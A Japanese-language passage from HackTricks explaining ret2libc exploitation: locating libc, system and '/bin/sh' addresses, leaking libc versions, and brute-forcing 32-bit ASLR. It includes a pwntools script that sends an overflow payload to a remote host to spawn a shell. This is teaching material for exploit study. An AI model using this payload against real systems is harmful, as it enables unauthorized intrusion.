Ret2lib

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Ret2Libcの本質は、脆弱なプログラムの実行フローを攻撃者が提供したシェルコードをスタック上で実行するのではなく、共有ライブラリ内の関数(例:systemexecvestrcpy)にリダイレクトすることです。攻撃者は、スタック上の戻りアドレスを目的のライブラリ関数を指すように変更するペイロードを作成し、呼び出し規約に従って必要な引数が正しく設定されるようにします。

例の手順(簡略化)

  • 呼び出す関数のアドレス(例:system)と呼び出すコマンド(例:/bin/sh)を取得する
  • コマンド文字列を指す最初の引数と関数への実行フローを渡すROPチェーンを生成する

アドレスの特定

  • 使用するlibcが現在のマシンのものであると仮定すると、メモリにロードされる場所を次のコマンドで見つけることができます:
bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

ASLRがlibcのアドレスを変更しているかどうかを確認したい場合は、次のようにします:

bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
  • 使用されているlibcを知っていれば、system関数へのオフセットを見つけることも可能です。
bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
  • 使用されているlibcを知っていれば、次のようにして/bin/sh関数へのオフセットを見つけることも可能です:
bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

gdb-peda / GEFの使用

使用されているlibcを知っていると、PedaやGEFを使ってsystem関数、exit関数、そして文字列**/bin/sh**のアドレスを取得することも可能です:

bash
p system
p exit
find "/bin/sh"

/proc/<PID>/mapsの使用

プロセスがあなたと話すたびに子プロセスを作成している場合(ネットワークサーバー)、そのファイルを読み取ることを試みてください(おそらくroot権限が必要です)。

ここでは、プロセス内でlibcがどこにロードされているか、およびプロセスのすべての子プロセスに対してどこにロードされるかを正確に見つけることができます。

この場合、0xb75dc000にロードされています(これがlibcのベースアドレスになります)。

不明なlibc

バイナリがロードしているlibcを知らない可能性があります(アクセスできないサーバーにあるかもしれません)。その場合、脆弱性を悪用していくつかのアドレスをリークし、どのlibcライブラリが使用されているかを見つけることができます:

Leaking libc address with ROP

これに関するpwntoolsテンプレートは次の場所にあります:

Leaking libc - template

2つのオフセットでlibcを知る

ページhttps://libc.blukat.me/を確認し、libc内の関数のいくつかのアドレスを使用して使用されているバージョンを特定します。

32ビットでのASLRのバイパス

これらのブルートフォース攻撃は32ビットシステムにのみ有効です。

  • エクスプロイトがローカルの場合、libcのベースアドレスをブルートフォースすることを試みることができます(32ビットシステムに有用):
python
for off in range(0xb7000000, 0xb8000000, 0x1000):
  • リモートサーバーを攻撃する場合、libc関数usleepのアドレスをブルートフォースすることを試みることができます。引数として10を渡します(例えば)。もしある時点でサーバーが応答するのに10秒余分にかかる場合、この関数のアドレスを見つけたことになります。

One Gadget

libcの特定のアドレスにジャンプしてシェルを実行します:

One Gadget

x86 Ret2lib コード例

この例では、ASLRブルートフォースがコードに統合されており、脆弱なバイナリはリモートサーバーにあります:

python
from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()

x64 Ret2lib コード例

次の例を確認してください:

ROP - Return Oriented Programing

ARM64 Ret2lib 例

ARM64の場合、ret命令はx30レジスタが指している場所にジャンプし、スタックレジスタが指している場所にはジャンプしません。したがって、少し複雑です。

また、ARM64では命令はその命令が行うことを行います(命令の途中でジャンプして新しい命令に変換することはできません)。

次の例を確認してください:

Ret2lib + Printf leak - arm64

Ret-into-printf (または puts)

これは、特定のデータを引数として指定してprintf/putsを呼び出すことでプロセスから情報を漏洩させることを可能にします。例えば、putsのアドレスをGOTに入れてputsを実行すると、メモリ内のputsのアドレスが漏洩します

Ret2printf

これは基本的に、Ret2libを悪用してprintfフォーマット文字列の脆弱性に変換することを意味します。ret2libを使用してprintfを呼び出し、悪用する値を渡します(無駄に聞こえますが可能です):

Format Strings

その他の例と参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする